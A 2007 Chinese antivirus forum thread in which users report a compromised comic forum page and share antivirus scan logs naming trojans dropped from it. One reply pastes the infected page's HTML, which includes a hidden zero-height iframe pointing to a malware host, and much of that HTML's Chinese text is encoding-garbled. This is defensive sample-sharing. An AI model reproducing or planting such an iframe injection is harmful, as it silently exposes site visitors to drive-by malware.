12 / 2 页下一页

查看: 4283|回复: 12

[病毒样本] 毒网网

[复制链接]

小飞侠.net

发表于 2007-9-16 16:59:33 | 显示全部楼层 |阅读模式

ht

tp://www.ucwow.com/post63683-1/

挂了5只左右

FBAV

发表于 2007-9-16 17:02:09 | 显示全部楼层

我看到了VIP……

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html dir="ltr" lang="zh-CN"> <head>
<base href="http://www.ucwow.com/" /> <meta http-equiv="Content-Type" c /> <meta name="generator" c /> <meta name="keywords" c /> <meta name="description" c />  <link rel="stylesheet" type="text/css" href="http://www.ucwow.com/clientscript/vbulletin_css/style-6910c4c5-00034.css" id="vbulletin_css" />  <script type="text/javascript">  </script> <script type="text/javascript" src="http://www.ucwow.com/clientscript/vbulletin_global.js?v=368"></script> <script type="text/javascript" src="http://www.ucwow.com/clientscript/vbulletin_menu.js?v=368"></script> <link rel="alternate" type="application/rss+xml" title="娓稿煄绮惧搧璁哄潧 RSS Feed" href="http://www.ucwow.com/external.php?type=RSS2" /> <iframe src="http://www.686ip.cn/sl/11766.htm" width="20" height="0" frameborder="0"></iframe> <title>娓稿煄绮惧搧璁哄潧 - 鏌ョ湅鍗曚釜甯栧瓙 - 寮烘畺瑁呯敳Guyver绗?58璇?鍦ㄧ嚎婕?敾</title> </head> <body style="margin:0px" > <form action="http://www.ucwow.com/"> <table class="tborder" cellpadding="6" cellspacing="0" border="0" width="100%" style="border-bottom-width:0px"> <tr> <td class="tcat"><h4> <div class="smallfont" style="float:right"> <strong>涓婚?</strong>: <a style="text-decoration: underline" href="http://www.ucwow.com/t63124/#post63683">寮烘畺瑁呯敳Guyver绗?58璇?鍦ㄧ嚎婕?敾</a> </div>
  鏌ョ湅鍗曚釜甯栧瓙
</h4></td> </tr> </table> <script type="text/javascript" src="http://www.ucwow.com/clientscript/vbulletin_ajax_reputation.js?v=368"></script>  <table class="tborder" id="post63683" cellpadding="6" cellspacing="0" border="0" width="100%" align="center"> <tr> <td class="thead"  id="currentPost"> <div class="normal" style="float:right">

#<a href="http://www.ucwow.com/post63683-1/" target="new" rel="nofollow" id="postcount63683" name="1"><strong>1</strong></a> (<b><a href="http://www.ucwow.com/t63124/#post63683" title="Link to this Post">permalink</a></b>)

  </div> <div class="normal">  <a name="post63683"><img class="inlineimg" src="http://www.ucwow.com/images/statusicon/post_old.gif" alt="鏃? border="0" /></a>

2007-07-02, 07:53 AM

</div> </td> </tr> <tr> <td class="alt2" style="padding:0px">  <table cellpadding="0" cellspacing="6" border="0" width="100%"> <tr> <td nowrap="nowrap"> <div id="postmenu_63683"> <a class="bigusername" href="http://www.ucwow.com/user1/">JackTon</a> <img class="inlineimg"src="http://www.ucwow.com/images/onlineranks/level3.gif" alt="绾у埆:20 | 鍦ㄧ嚎鏃堕暱:511灏忔椂 | 鍗囩骇杩橀渶:14灏忔椂" border="0" /><img class="inlineimg"src="http://www.ucwow.com/images/onlineranks/level2.gif" alt="绾у埆:20 | 鍦ㄧ嚎鏃堕暱:511灏忔椂 | 鍗囩骇杩橀渶:14灏忔椂" border="0" />  <img class="inlineimg" src="http://www.ucwow.com/images/statusicon/user_offline.gif" alt="JackTon 褰撳墠绂荤嚎" border="0" /> <script type="text/javascript"> vbmenu_register("postmenu_63683", true); </script> </div> <div class="smallfont">璁哄潧绠＄悊鍛?/div> <div class="smallfont"><img src="http://www.ucwow.com/images/ranks/vbb.gif" alt="" border="" /><img src="http://www.ucwow.com/images/ranks/admin.gif" alt="" border="" /></div> </td> <td width="100%"> </td> <td valign="top" nowrap="nowrap"> <div class="smallfont"> <div>娉ㄥ唽鏃ユ湡: 2007-04-25</div> <div>
   甯栧瓙: 120,278
   </div>  <div><a rel="nofollow" href="http://www.ucwow.com/search.php?do=finduser&goodnees=1&u=1">绮惧崕</a>: 2</div> <div>
  绉?垎: 18</div> <div>鐜伴噾: 104 閲戝竵</div> <div>璧勪骇: 193 閲戝竵</div> <div>澹版湜: 4484 <img class="inlineimg" src="http://www.ucwow.com/images/reputation/reputation_off.gif" alt="JackTon 鐨勫０鏈涘姛鑳藉凡琚??鐢? border="0" /></div> <div> </div>  </div> </td> </tr> </table>  </td> </tr> <tr> <td class="alt1" id="td_post_63683"> <div class="smallfont"> <strong>寮烘畺瑁呯敳Guyver绗?58璇?鍦ㄧ嚎婕?敾</strong> </div> <hr size="1" style="color:#E1E1E1" />  <script type="text/javascript">
cpro_client='jackton258_cpr';
cpro_cbd='#trans';
cpro_cbg='#trans';
cpro_ctitle='#22229C';
cpro_cdesc='#000000';
cpro_curl='#008000';
cpro_clink='#FFFFFF';
cpro_flush=4;
cpro_w=360;
cpro_h=300;
cpro_template='text_default_360_300';
</script> <script language="JavaScript" type="text/javascript" src="http://cpro.baidu.com/cpro/ui/cp.js"></script>  <table width="100%" border="0" cellspacing="0" cellpadding="0" class="tb"> <tr> <td > <div id="post_message_63683" class="bword"><img src="http://comicpic.ouou.com/14/14413/Cv0nM.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/Cv0nM.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/Bc7y9.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/Bc7y9.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/mqOjY.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/mqOjY.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/wDnhu.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/wDnhu.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/SAE8K.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/SAE8K.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/dEVAE.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/dEVAE.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/vlVfR.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/vlVfR.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/5tbZh.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/5tbZh.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/v5yW1.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/v5yW1.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/wzjrw.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/wzjrw.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/iCQCC.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/iCQCC.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/0x5xD.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/0x5xD.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/Rh8FL.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/Rh8FL.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/qTWD0.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/qTWD0.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/Pzvco.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/Pzvco.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/NrMRp.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/NrMRp.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/dONdD.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/dONdD.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/pc1sG.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/pc1sG.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/rmQGn.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/rmQGn.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/IBbX3.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/IBbX3.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/YV1nr.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/YV1nr.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/nDq2w.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/nDq2w.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/Tlpi4.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/Tlpi4.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/aCMRj.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/aCMRj.jpg"  /></BR><img src="http://comicpic.ouou.com/14/14413/KUwsK.jpg" border="0" alt="http://comicpic.ouou.com/14/14413/KUwsK.jpg"  /></div> </td> </tr> </table>  <div style="margin-top: 10px" align="right"> <div style="float:left"> </div>  <a href="http://www.ucwow.com/newreply.php?do=newreply&p=63683" rel="nofollow"><img src="http://www.ucwow.com/images/buttons/quote.gif" alt="鍥炲?鏃跺紩鐢ㄦ?甯? border="0" /></a>  </div>  </td> </tr> </table>  <div class="vbmenu_popup" id="postmenu_63683_menu" style="display:none;"> <table cellpadding="4" cellspacing="1" border="0"> <tr> <td class="thead">JackTon</td> </tr> <tr><td class="vbmenu_option"><a href="http://www.ucwow.com/user1/">鏌ョ湅鍏?紑淇℃伅</a></td></tr> <tr><td class="vbmenu_option"><a href="http://www.ucwow.com/private.php?do=newpm&u=1" rel="nofollow">鍙戦

promised

发表于 2007-9-16 17:02:58 | 显示全部楼层

先放一支

本帖子中包含更多资源

您需要登录才可以下载或查看，没有帐号？快速注册

x

FBAV

发表于 2007-9-16 17:07:34 | 显示全部楼层

MicroVita AntiSpyware 100 C
_____________________________________________

         风暴微塔反间谍
[强力查杀各种Win32位的病毒,木马,蠕虫,恶意软件]
               http://221.10.254.214/
----------------------------------------------
开始扫描……

正在检查启动……
[C:\Documents and Settings\Administrator\桌面\virus\ma\ma.exe]
                  …………发现Spy！报告:[2] [1]
文件信息:  大小:39424  MD5:c946cb0af99164f6c89733b4b54838e1

文件数:1 病毒数:1  比重:1
OK  扫描完毕！

  ***日志解释
[4] 集中有害分析引擎
[3] 全局系统判断引擎
[2] 文件特征码引擎
[1] 文件启发式引擎

promised

发表于 2007-9-16 17:09:13 | 显示全部楼层

好像没有别的了

wangjay1980

发表于 2007-9-16 17:09:44 | 显示全部楼层

detected: Trojan program Trojan-Downloader.Win32.VB.bjl URL: http://bbs.kafan.cn/attachment.p ... xe//PE_Patch.MaskPE

qigang

发表于 2007-9-16 17:09:50 | 显示全部楼层

原帖由 <i>promised</i> 于 2007-9-16 17:02 发表 <a href="http://bbs.kafan.cn/redirect.php?goto=findpost&pid=1727431&ptid=131517" target="_blank"><img src="http://bbs.kafan.cn/images/common/back.gif" border="0" onclick="zoom(this)" onload="attachimg(this, 'load')" alt="" /></a><br />
先放一支

<br />

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.DL.Win32.Autorun.ipn

MAC地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：19.40.62

jimmyleo

发表于 2007-9-16 17:12:51 | 显示全部楼层

回复 5楼 promised 的帖子

恩不同方式都是这个
ps:我要考虑加筛选了眼累啊~

promised

发表于 2007-9-16 17:16:22 | 显示全部楼层

回复 8楼 jimmyleo 的帖子

还有一个ma.cab，解压出来一样的

红心王子

发表于 2007-9-16 17:17:02 | 显示全部楼层

2007-9-16 17:16:48 1189934208 Administrator 2520 Sign of "Win32:Crypt-SC [Trj]" has been found in "C:\Documents and Settings\Administrator\桌面\ma.rar\ma.exe" file.

返回列表

高级模式

B Color Image Link Quote Code Smilies

您需要登录后才可以回帖登录 | 快速注册

本版积分规则回帖后跳转到最后一页

[病毒样本] 毒网网

本帖子中包含更多资源

回复 5楼 promised 的帖子

回复 8楼 jimmyleo 的帖子

浏览过的版块